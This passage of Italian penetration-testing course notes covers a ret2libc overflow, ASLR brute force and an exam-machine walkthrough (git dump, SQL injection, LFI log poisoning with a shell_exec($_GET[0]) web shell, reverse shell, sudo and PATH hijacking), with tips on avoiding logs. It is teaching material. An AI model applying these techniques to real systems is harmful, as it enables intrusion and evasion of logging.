2. riempire il buffer fino ad EIP
3. scrivere l'indirizzo di ritorno con l'indirizzo della system
4. configurare lo stack col parametro di system e con il corretto valore di ritorno, lo vediamo tramite comando su shell (slides).

A quel punto possiamo preparare lo shellcode. **NOTA:**quando usciamo dalla shell, verrà eseguito l'indirizzo di ritorno dalla system, se questi sono byte a caso finiamo sui log. Per essere stealth, possiamo inserire l'indirizzo della exit, così da terminare il programma. **Altra nota:**l'arechitettura x86 è Little Endian, quindi la stringa va copiata in ordine inverso

Bypass ASLR il comando ldd che da la base di libc etc... se c'è ASLR da sempre un valore diverso. La randomizzazione non è di tutti i 4 byte dell'indirizzo, ma solo di 1.5 byte centrali, quindi costruendo l'exploit ed eseguendolo x volte (circa 1000), otteniamo la shell, apparendo però nei log del kernel.

13 Esempio: macchina di esame

Dopo aver analizzato i server web facendo enumerazione di file e cartelle, si analizzano i virtual host e si scopre che c'è una cartella .git su uno dei virtual host
Quindi, il prossimo passo sarà prelevare le informazioni della cartella: cerando ".git http dump" si trovano vari risultati per effettuare il dump della cartella. A questo punto, tramite i comandi di git è possibile verificare quali file sono presenti nella cartella: siccome i file sono stati cancellati, vanno ripristinati usando git reset –hard HEAD. Ora, il repository è stato ripristinato come era in origine, si può continuare a fare information gathering, scoprendo nuovi utenti e vedendo le modifiche del commit. Si prosegue con l'analisi di tutti i file restorati, analizzando il file api.py (una cosa del genere), si continua la fase di information gathering, scoprendo che c'è un DB da cui si prendono gli username. Si testa quindi SQL injection, mettendo un apice. Va in errore, di tipo 500 internal, quindi la strada del injection può essere seguita. Tramite burp, mandiamo la richiesta a repeater, ma il problema è che burp non url-encoda i byte in automatico, va fatta due volte o al server non arrivano i caratteri doppi. Tramite ODER BY, si scopre che la query restituisce una sola colonna, poi si procede col cercare i database presenti, prestando attenzione al fatto che il risultato è solo 1, quindi si deve usare il group_concat sul parametro da selezionare prima della select. Dopo aver ricavato le password dal DB, occorre crackarne le corrispettive hash, per farlo di può usare john the ripper, oppure con crack station (solo per hash non salted). Ottenuta la password di uno degli utenti, si può provare

a collegarsi con ssh, ma senza successo in quanto manca la chiave pubblica. Continuando ad esaminare la cartella .git: analizzando i file, si scopre che autenticandosi all'applicazione, è possibile eseguire una LFI. Siccome l'obiettivo è prendere una shell, si possono:

- usare il base64 encoding per leggere i file con dentro le password degli utenti (wrapper php): passiamo tutti i file .php trovati col dump. È necessario il wrapper con php perché se lo si include direttamente, viene eseguito il php e quindi non ritorna nulla su schermo
- prendere la shell per poi fare cat direttamente da lì

È utile ora andare a cercare la locazione del file di log del server web, inferito precedentemente dalla SQLi. Nel file di log di access ci sono scritte varie informazioni, molte delle quali possono essere modificate, come ad esempio lo UserAgent. Possiamo fare una richiesta in cui lo user agent contenga codice php, così che andando ad includere il file di log con LFI, il php verrà parsato ed eseguito. **ATTENZIONE:** mettere direttamente una reverse shell è RISCHIOSO. Se questa è sbagliata, fallisce il codice e non si può più cambiare. Il consiglio è creare un file php che lascia più scelta possibile, come ad esempio shell_exec($_GET[0]);, così da mettere poi la reverse in nel parametro. Quindi, ora, passando un parametro get 0 con un comando, questo viene eseguito. Se si usa una reverse sh che contiene caratteri speciali come slash o & etc..., la richiesta va url-encodata.
Presa la reverse, si può tentare di vedere i processi attivi, i permessi per l'utente con cui è stata ottenuta la shell etc...
Dopo aver cambiato utente, possiamo verificare con sudo -l cosa può fare l'utente, con e senza password. NOTA: possiamo ora prendere una shell con ssh, dopo aver trovato i file nella cartella .ssh, per avere una shell più stabile rispetto a quella ottenuta come reverse. Troviamo poi un file .c eseguibile, di cui possiamo iniziare ad analizzare il binario. Si scopre, tramite strace, con opzione per tracciare i figli, che il programma di cat, che viene chiamato dal file, viene chiamato

col path relativo.
Tramite sudo -u nome_utente path del binario , ”path del file da eseguite; comando”, il comando viene eseguito, quindi è possibile prendere una reverse shell per poi autenticarsi con ssh come mark, oppure cambiare la password di mark etc...
Per fare analisi statica del file, il file può essere copiato con ssh e passato a ghidra per l'analisi.
Si può anche sfruttare il path highjacking: creiamo un file cat, scritto in bash, inseriamo la reverse shell. Eseguendo sudo PATH=/home/utente /home/utente proprietario del file/eseguibile path qualunque. Quando verrà eseguito il comando,viene presa la reverse, ma il sistema non è pulito (?) quindi bisogna appendere :$PATH a /home/utente.